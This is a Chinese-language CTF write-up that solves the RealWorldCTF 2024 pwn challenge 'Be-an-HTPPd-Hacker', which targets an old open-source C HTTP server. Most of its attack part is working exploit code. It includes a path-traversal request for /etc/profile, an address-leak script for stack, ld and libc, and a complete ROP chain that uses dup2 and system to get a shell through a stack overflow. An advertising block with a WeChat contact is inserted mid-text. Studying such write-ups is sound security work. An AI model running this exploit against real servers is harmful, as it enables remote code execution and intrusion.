前言
本報告旨在對RealWorldCTF 2024體驗賽中的Pwn方向題目——"Be-an-HTPPd-Hacker"進行深入解析和講解。該題目涉及一個十一年前的項目,其基於C語言實現了HTTP協議。我們將通過對該協議進行棧溢出攻擊,探索真實世界中的攻擊手法,並從中學習更多有用的攻擊技巧,以提升我們的安全水平。通過理解攻擊原理和方法,我們能夠更好地理解安全防禦的重要性,併爲未來的安全工作做好準備。本報告將詳細介紹攻擊過程,希望能爲讀者提供深入而有價值的學習體驗。
搜索字符串,github找源碼
從IDA中,shift+F12提取,得到字符串,在github進行搜索能夠得到源碼在這:
https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c
具體構造
構造的代碼如下,也就是方法 地址 加協議:
method, uri, vProtocol
如 POST www.baidu.com xxx
源碼如下:
request parseRequest(char buffer[]) { char *ptr = buffer; char method[MAXLINE], uri[MAXLINE], vProtocol[MAXLINE]; request req; sscanf(ptr, "%s %s %s", method, uri, vProtocol); // Somente GET ou POST if(strcasecmp(method, "GET") == 0) req.method = "GET"; else if (strcasecmp(method, "POST") == 0) req.method = "POST"; else { req.method = "INVALID"; req.vProtocol = "INVALID"; req.uri[0] = '\0'; return req; } // Sera testado futuramente. Por enquanto aceita que é um uri valido req.uri = uri; if(strcasecmp(vProtocol, "HTTP/1.0") == 0) req.vProtocol = "HTTP/1.0"; else if (strcasecmp(vProtocol, "HTTP/1.1") == 0) req.vProtocol = "HTTP/1.1"; else req.vProtocol = "HTTP/1.1"; // se nao especificado return req; }
GET路徑穿越
其中get請求,經過簡單嘗試和逆向發現存在路徑穿越,其直接對WWW進行拼接讀取。
else if (res.status == 200 ) // Ok { return sendFile(req, res,connfd); }
閱讀源碼發現如上。
路徑穿越漏洞(Path Traversal Vulnerability)是一種常見的安全漏洞,通常發生在Web應用程序或文件系統中。它允許攻擊者訪問他們沒有權限訪問的文件或目錄,通過修改文件路徑來繞過應用程序的訪問控制機制。
不過flag沒有可讀權限,只能通過readflag來執行。
from evilblade import * context(os='linux', arch='amd64') # context(os='linux', arch='amd64', log_level='debug') #GET /index.html HTTP/1.1 setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) # rsetup('121.40.246.203',30594) # pause() payload = 'GET ' + '/img/../../../etc/profile HTTP/1.0\x00' # payload = b'POST /form-example.html/../img/../../../add HTTP/1.1\r\n' pause() sl(payload) ia()
這是路徑穿越讀/etc/profile。
POST棧溢出
其實不是源碼也分析的差不多了,就是不太理解這個&=的分割,還有會存在一個奇怪的堆溢出,堆溢出主要是因爲malloc大小引起的,在計算
char *line = (char*) malloc(end-start);
中,end出現小於start的情況。我們可以輸入多個\n來使得heap足夠大,避免溢出的情況。
代碼可以看到:
int sendPostMessage(request req, response res, int connfd, char *linePost){ char buffer[MAXLINE]; //Prepara cabecalho HTML sprintf(buffer, "<html><head><title>Submitted Form</title></head>"); //Cria body strcat(buffer, "<body><h1>Received variables</h1><br><table>"); strcat(buffer, "<tr><th>Variables</th><th>Values</th></tr>"); char * pch; char temp[250]; pch = strtok (linePost,"&="); while (pch != NULL) { sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); } //Fecha body e html strcat(buffer, "</table></body></html>"); sendHeader(connfd, req, res, "OK", "text/html"); write(connfd, buffer, strlen(buffer)); return 0; }
也就是會根據&或者=分割之後,進行連接到temp。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
其中linepost如下:
void httpd(int connfd) { char buffer[MAXLINE]; // Buffer dos dados de input char fileBuffer[MAXLINE]; request req; // Pedido do cliente response res; // Resposta do servidor struct stat st; int n; int sizeContent = -1; // Le o que está vindo no socket n=read(connfd, buffer, MAXLINE); int i = strlen(buffer); char options[MAXLINE]; int statusRead = 0; strcpy(options, buffer); while(statusRead == 0) { if((options[i-3] == '\n' && options[i-1] == '\n') || options[i-1] != '\n') { statusRead = 1; } else { n=read(connfd, options, MAXLINE); //strcat(buffer, options); //printf("%s\n", buffer); i = strlen(options); if(options[0] == '\r' && options[1] == '\n' && n == 2) statusRead = 1; } } // Faz o parse da requisicao req = parseRequest(buffer); char *linePost; //Encontra no buffer o tamanho do conteudo if(strcmp(req.method, "POST") ==0) { linePost = getLastLineRead(buffer); } //……
char *getLastLineRead(char *buffer) { int numLines = 0; int start = 0; int end = 0; int bufSize = strlen(buffer); int i = 0; int j = 0; for (i=0;i<bufSize;i++) { if (buffer[i]=='\n') { numLines++; } } int *vetPositionLine = (int*) malloc(numLines); for (i=0;i<bufSize;i++) { if (buffer[i]=='\n') { vetPositionLine[j] = i;//出現回車的地方 j++; } } start = vetPositionLine[numLines-3]; end = vetPositionLine[numLines-1]; char *line = (char*) malloc(end-start); strncpy(line,buffer+end,bufSize-end); return line; }
就是說當他會把\n處作爲起始地址,然後把後面的內容複製到line,這樣就可以泄漏地址了!
使用exp:
from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' pause() sl(payload) ia()
-
調試方法:執行exp後,用
ps -ef | grep 'httpd'
之後找到最新的進程用sudo gdb -p PID
即可。
或者直接使用命令:sudo gdb -p $(pgrep -n -f './httpd 12345')
最後會從buf+你輸入的數據長度,取一個數據寫到heap中,下次取出來作參數。
主要對此處進行斷點觀察。
可以看到:
由此可以泄漏出libc甚至其他了。
使用腳本:
from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' sl(payload) ru("Values</th></tr><tr><td>") stack = u32(rv(4)) dx(stack) ld = u32(rv(4))-0xc0c dx(ld) libc = u32(rv(4))-2324400 dx(libc) ia()
泄漏得到:
--------------- your stack is >>> 0xff9c9f0a --------------- --------------- your ld is >>> 0xedf40000 --------------- --------------- your libc is >>> 0xedcca000 ---------------
構造ROP
從這個部分可以發現,會將原本的內容根據&=分割,然後加上<tr><td>之類的字符串,使得字符串長度變大,會導致棧溢出。那麼我們根據前面得到的基地址,和這個部分漏洞進行ROP構造,從而getshell。
char * pch; char temp[250]; pch = strtok (linePost,"&="); while (pch != NULL) { sprintf(temp, "<tr><td>%s</td>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); sprintf(temp, "<td>%s</td></tr>", pch); strcat(buffer, temp); pch = strtok (NULL, "&="); }
做以下構造,經過多次嘗試終於得到了控制返回地址爲xxxx:
from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A='*1850 #test= cyclic(0x700).decode() #modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))]) #d(modified_test) payload = b'POST / A\n'+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp" payload += b"=" + p32(0xeb029050)*10+ b"xxxx" + b"=" d(payload) dpx('len',len(payload)) pause() sd(payload)
其中xxxx爲任意地址,可以返回!
由於 sprintf的原因,不能輸入\x00和\n之類的作爲rop,我這裏採取加減法的方式進行繞過,先輸入不包含0和0a的字符,後續根據加減恢復到我們需要的字符。
搜索有:
pwndbg> search -4 0x11111111 Searching for value: b'\x11\x11\x11\x11' libc.so.6 0xf0ca28f4 0x11111111 libc.so.6 0xf0ca2a08 0x11111111 libc.so.6 0xf0ca2a0c 0x11111111 計算得到: λ ~/ python Python 3.11.6 (main, Nov 14 2023, 09:36:21) [GCC 13.2.1 20230801] on linux Type "help", "copyright", "credits" or "license" for more information. >>> hex(0xf0ca28f4 -0xf0af1000) '0x1b18f4'#這是libc偏移 >>> hex(0x100000000-0x11111111) '0xeeeeeeef' >>>
那麼我們用以上作爲差值計算,其中0x11111111+0xeeeeeeef相加等於0。
構造的ROP如下:
push_esi = p32(libc+0x00061c0d) # push esi ; ret nop_ret = p32(libc+0x0002fce8) # nop ; ret read = p32(symoff("read",libc)) pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret) pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret) add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret) # dup2($ebx,$ecx) rop = pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef)*2 rop += add_ecx #$ecx = 0 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop += add_ecx #$ecx=1 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) if b"=" in rop or b"\x00" in rop: print("stop!") pause() payload = b'POST '+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp" payload += b"=" + (nop_ret)*10 payload += rop payload += b"="
完整exp如下:
from evilblade import * context(os='linux', arch='amd64') setup('./pwn') libset('./libc.so.6') rsetup('127.0.0.1',33333) payload = b'POST '+ b'A'*3982 + b'\n' sl(payload) ru("Values</th></tr><tr><td>") stack = u32(rv(4))-0x1ed0a dx(stack) ld = u32(rv(4))-0xc0c dx(ld) libc = u32(rv(4))-2324400 dx(libc) close() rsetup('127.0.0.1',33333) payload = b'POST '+ b'A='*1850 #test= cyclic(0x700).decode() #modified_test = ''.join(['=' if (i) % 5 == 0 else test[i] for i in range(len(test))]) #d(modified_test) sub_eax_ecx = p32(libc + 0x0018b0f8) # sub eax, ecx ; ret push_eax = p32(libc + 0x00036a7d) # push eax ; ret pop_ecx_eax = p32(libc + 0x001280f4) # pop ecx ; pop eax ; ret dup22 = p32(symoff("dup2",libc)+0xe) push_edx = p32(libc+0x00192ac8) # push edx ; ret pop_edx = p32(libc+0x00037375) # pop edx ; ret pop_esi = p32(libc+0x00021479) # pop esi ; ret push_esi = p32(libc+0x00061c0d) # push esi ; ret nop_ret = p32(libc+0x0002fce8) # nop ; ret read = p32(symoff("read",libc)) pop_ebx = p32(0x0002c01f+libc) # pop ebx ; ret add_ebx = p32(0x001959c2 +libc)# add ebx, eax ; add eax, 2 ; ret) pop_eax = p32(libc+0x0002ed92)#: pop eax ; ret) add_ecx = p32(libc+0x000b4fd3) # : add ecx, dword ptr [ebx + 0x5f082444] ; ret) # dup2($ebx,$ecx) rop = pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef)*2 rop += add_ecx #$ecx = 0 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += pop_esi + dup22 rop += pop_ebx + p32(libc+0x1b18f4-0x5f082444) rop += pop_ecx_eax + p32(0xeeeeeeef+0x1)*2 rop += add_ecx #$ecx=1 rop += pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4) rop += add_ebx #$ebx = 4 rop += push_esi rop += p32(symoff("system",libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5) if b"=" in rop or b"\x00" in rop: print("stop!") pause() payload = b'POST '+ b"A"*2400 + b"\n" payload += b"=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=jaab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=aaeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aafq=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=aima=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp" payload += b"=" + (nop_ret)*10 payload += rop payload += b"=" d(payload) dpx('len',len(payload)) dpx("begin",uu64(pop_esi)) dpx("nop",uu64(nop_ret)) dx(stack) pause() sd(payload) ia()
攻擊結果: